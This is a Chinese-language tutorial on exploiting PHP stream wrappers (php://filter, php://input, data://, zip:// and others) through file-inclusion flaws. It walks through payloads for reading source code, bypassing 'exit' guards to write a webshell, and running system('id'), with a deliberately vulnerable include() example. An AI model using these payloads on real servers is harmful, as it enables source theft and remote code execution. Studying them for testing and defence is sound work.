跳转至

伪协议

支持的协议和封装协议

官方文档中可以看到PHP 带有很多内置 URL 风格的封装协议,例如 php://file://等等,而其中也存在一些攻击者可以利用的地方


image-20220518110413109

php://

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

image-20220525090905760

image-20220525091008645

php://input

当 allow_url_include 配置在 php.ini 文件中为 On时,可以通过使用 php://input 在POST数据中传入执行的PHP代码来达到命令执行

image-20220525091416553

这里使用文件包含代码来做例子

<?php
include($_GET["file"]);
?>

image-20220525091610668

php://filter

当存在文件包含漏洞时,可以使用 php://filter 读取 PHP源码

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

image-20220525093334626

这里使用的过滤器为 convert.base64-encode,读取到的响应 base64 解码后就是源码文件

image-20220525093521312

如果存在WAF或者代码过滤 base64 等字符的情况下,除去这个常用的过滤器,还存在其他的方法来获取数据

/index.php?file=php://filter/read=string.rot13/resource=index.php 

image-20220525101142364

其中还有一个在PHP文档中提到较少的过滤器 iconv转换过滤器(convert.iconv.*),通过命令可以看到可以使用的方法

image-20220525101342348

/index.php?file=php://filter/read=convert.iconv.ISO_8859-7:2003/resource=index.php

image-20220525101430283

当部分代码中含有 死亡 exit时,使用 php://filter 也可以继续绕过,达到写入Webshell的目的,例如下面的PHP代码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['content'];
file_put_contents($_POST['filename'], $content);
?>

当我们想写入PHP代码时

image-20220525110938859

image-20220525110947255

在exit的影响下,写入的PHP代码无法执行,而这时通过 php://filter 利用特殊的转换器就可以绕过 exit 写入想要执行的PHP代码

image-20220525112502432

如上图,当存在 Base64索引中 不包含的字符中,base64会跳过不识别的字符拼接可识别字符再进行解码,也就是说 <?php exit; ?> 传入 base64的实际只有 phpexit, 而 base64算法4byte 为一组进行运算,我们通过传入任意一个字母拼接就可以使其解码,再通过 base64的过滤器就可以绕过 exit写入 Webshell

content=QPD9waHAgcGhwaW5mbygpOz8%2b&filename=php://filter/write=convert.base64-decode/resource=phpinfo.php

image-20220525114107874

image-20220525114131702

也可以利用 string.strip_tags 去除整个 <?php exit; ?>,来写入

content=PD9waHAgcGhwaW5mbygpOz8%2b&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=phpinfo.php

但这个过滤器在 PHP 7.3.0 版本废弃了,后续版本使用可能会导致写入失败

image-20220525114959794

除去这些常用的,还有很多方法可以使用

# rot13过滤器
content=<?cuc cucvasb();?>&filename=php://filter/write=string.rot13/resource=phpinfo.php

image-20220525115422272

#UCS-2 转换
content=?<hp phpipfn(o;)>?&filename=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=phpinfo.php

image-20220525115617995

data://

文件包含源码

<?php
include($_GET["file"]);
?>

利用 data:// 执行 php代码

image-20220525121021882

也可以通过编码的方式绕过一些过滤

/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8%2

image-20220525121519399

http://

当配置选项 allow_url_fopenallow_url_include 均为On时,通过 http:// 或 https:// 协议可以远程包含文件或包含本地文件

# shell.php
<?php system("id");?>

image-20220525122614858

file://

这个协议常常用于读取读取文件,当知道文件路径时,可以通过该协议读取文件获取敏感数据

image-20220525171226018

zip:// & bzip2:// & zlib://

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件。当存在压缩包上传的情况时,我们可以通过此协议访问 压缩包中的内部文件

image-20220525172201302

上图将 phpinfo.txt 打包为 phpinfo.zip

/index.php?file=zip:///Users/peiqi/Sites/peiqi/phpinfo.zip%23phpinfo.txt 

image-20220525172250386

压缩包后缀为 gz

/index.php?file=compress.zlib:///Users/peiqi/Sites/peiqi/phpinfo.gz 

image-20220525172701926

压缩包后缀为bz2

/index.php?file=compress.bzip2:///Users/peiqi/Sites/peiqi/phpinfo.bz2

image-20220525172846066